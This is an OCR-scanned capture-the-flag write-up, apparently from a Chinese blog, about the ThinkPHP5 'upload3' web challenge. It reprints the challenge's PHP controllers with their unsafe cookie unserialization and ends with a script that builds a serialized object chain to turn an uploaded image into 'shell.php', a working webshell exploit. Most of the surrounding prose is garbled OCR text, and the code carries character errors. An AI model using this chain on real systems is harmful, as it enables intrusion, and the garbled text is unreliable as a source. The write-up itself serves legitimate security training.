it R webm FiEBr X 1043 upload3

BIEWE & F 2020-11-23 22:50:55 KA 662 WS sER 2

FRTE: off WEHRE: cff WP 5 web thinkphp S5 it

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/weixin_44604541/article/details/109187579

FERAL

200 f=3C & 23 iT 5
W £

224 > .

]

il

sde i)y
Bt Fweb B F M X 11043 8
7 R upload3fiwriteup

B R
SR


https://fishpond.blog.csdn.net
https://blog.csdn.net/weixin_44604541/category_9965853.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2594%25BB%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258C&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=thinkphp&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E4%25BB%25A3%25E7%25A0%2581%25E5%25AE%25A1%25E8%25AE%25A1&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44604541/article/details/109187579
https://blog.csdn.net/weixin_44604541/category_9965853.html

220.249.52.13

Kali Tools = Kali Docs Kali Forums NetHunter | Offensive / Exploit-DB GHDB

Discuz

LOGIN

© 2019 Diseuz Login Form 1,4 SIpR1R S8R hetiweixin_44604541

TR AR S+ 8]
HEwww.tar.gzf1—4~upload H 3%

220.249.52.133

KaliLinux  KaliTraining  KaliTools =« KaliDocs  Kali Forums  NetHu

Index of /upload/

../

T Rwww.tar.gz
& T F& R thinkphp5



T |m www.tar.gz\tp5 - ZIP EEEE, B2E7 v 26,688,201 =15

£ “h EmEAN 2R it CRC32

.git hgt = 2019/5/18 21:19

Jidea i 2018/5/18 21:19

application pri= 2019/5/18 21:19

config i 2019/5/18 21:19

extend i 2019/5/18 21:19

public i 2019/5/18 21:19

route i 2019/5/18 21:19

runtime g 2019/5/18 21:19

thinkphp Bt =3 2019/5/18 21:19

vendor i 2019/5/18 21:19
.gitignore 54 54 AR 2019/3/18 12:58  F7B00SD4
o composer.json 660 294 JSON File 2019/3/18 13:58 ACBEOF...
[ think 823 370 Tl 2019/3/18 13:58  79D973FA
[ build.php 1,084 477 PHP 37if 2019/3/18 16:36  59BI20E1
LICENSE.txt 1,822 1,151 IrTasme 2019/3/18 13:58  7E37CT72E
[ travisyml 2,038 964 YML 3% 2019/3/18 13:58  03C3B517
[ ] compaser.lock 3,828 1,020 LOCK 37t 2019/3/18 15:46  FDBBSD...

| README.md 6,613 2,773 MD 3Zff 2019/3/18 13:58  CSE2EB...
| CHANGELOG.md 33,679 10,923 MD 3zft 2019/3/18 13:58  44EB2303

BRENREH T

5 RS B R
1. #5540

index.php

e login_check : f&Acookie, Xff& A\ffjcookiefei#tfTbaseb4f#ty, RGN HuEAT RFFIIERIE, FBIOHUE 3808 ET
xt b

o HittRMESFZMME LN HRE R

<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller

{
public $profile;
public $profile_db;

public function index()

{
if($this->login_check()){
$curr_url="http://".$ SERVER[ 'HTTP_HOST'].$ SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
¥
return $this->fetch("index");
¥

public function home(){
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$ SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
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$this->assign("username”,$this->profile_db[ 'username']);
return $this->fetch("upload");

telseq{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db[ 'username']);
return $this->fetch("home");

public function login_check(){
$profile=cookie('user');
if(lempty($profile)){
$this->profile=unserialize(base64 _decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID"']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
telseq{
return 9;

public function check_upload_img(){
if(lempty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
telse{
return 1;

public function logout(){
cookie("user",null);
$curr_url="http://".$ SERVER[ 'HTTP_HOST'].$ SERVER['SCRIPT NAME']."/index";
$this->redirect($curr_url,302);

exit();
}
public function _ get($name)
{
return "";
}
}
register.php

o  destruct : WIRREZFMuLBEATHRKE, M AHindex.phpl) index() F¥E, 10 index() ik —ANE ik
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<?php

namespace app\web\controller;
use think\Controller;

class Register extends Controller

{



public $checker;
public $registed;

public function _ construct()

{

$this->checker=new Index();

public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$ _SERVER[ "HTTP_HOST'].$ SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();

}
if (lempty(input("post.username")) && !empty(input("post.email™)) && !empty(input("post.password”))) {
$email = input("post.email”, "", "addslashes");
$password = input("post.password"”, "", "addslashes");
$username = input("post.username”, "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email",
$email)->Ffind())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index"));
} else {
$this->error('Registed failed!', url('../index"));

b
} else {
$this->error('Account already exists!', url('../index"'));
b
telse{
$this->error('Email illegal!', url('../index'));
}
} else {

$this->error('Something empty!', url('../index"));

public function check_email($email){
$pattern = "/~[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-2z0-9-]+(\.[a-20-9-]1+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
telse{
return 1;

public function _ destruct()

{
if(!$this->registed){
$this->checker->index();



login.php

e login: A cookiefFH{biTE
<?php
namespace app\web\controller;

use think\Controller;

class Login extends Controller

{
public $checker;
public function _ construct()
{
$this->checker=new Index();
}
public function login(){
if($this->checker){
if($this->checker->login_check()){
$curr_url="http://".$ SERVER[ 'HTTP_HOST'].$ SERVER['SCRIPT NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if(input("?post.email™) && input("?post.password")){
$email=input("post.email”,"","addslashes");
$password=input("post.password”,"","addslashes");
$user_info=db("user")->where("email",$email)->find();
if($user_info) {
if (md5($password) === $user_info[ 'password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home"));
} else {
$this->error('Login failed!', url('../index"));
}
telse{
$this->error('email not registed!',url('../index'));
}
telse{
$this->error('email or password is null!',url('../index'));
}
}
}
proflie.php
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<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{

public $checker;

public $filename_tmp;

public $filename;

public $upload_menu;

public $ext;

public $img;

public $except;

public function __ construct()

{
$this->checker=new Index();
$this->upload_menu=md5($_ SERVER[ 'REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){

@mkdir($this->upload_menu);

}
@chdir($this->upload_menu);

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER[ "HTTP_HOST'].$ SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();

if(lempty($_FILES)){
$this->filename_tmp=$ FILES['upload_file']['tmp_name'];
$this->filename=md5($ FILES['upload_file']['name']).".png";
$this->ext_check();
¥
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy ($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
telseq{
$this->error('Forbidden type!', url('../index"'));
}
telseq{
$this->error('Unknow file type!', url('../index"));

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID"'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID"])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
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telse{
$this->error('Upload file failed!', url('../index"));

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);

if($this->ext=="png"){

return 1;
telse{
return 0;
¥
}
public function _ get($name)
{
return $this->except[$name];
¥
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
¥
¥
}
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<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed;

¥

class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

fa=new Register();

$a->registed=0;

$a->checker=new Profile();

$a->checker->except=array('index'=>"upload_img"');

$a->checker->ext=1;
$a->checker->filename_tmp="./upload/bff9db0d2817bbf67d4f627915abf0a2/3d457d02f17deect19606ba40ed24eld.png";
$a->checker->filename="./upload/shell.php";

echo base64_encode(serialize($a));

?>
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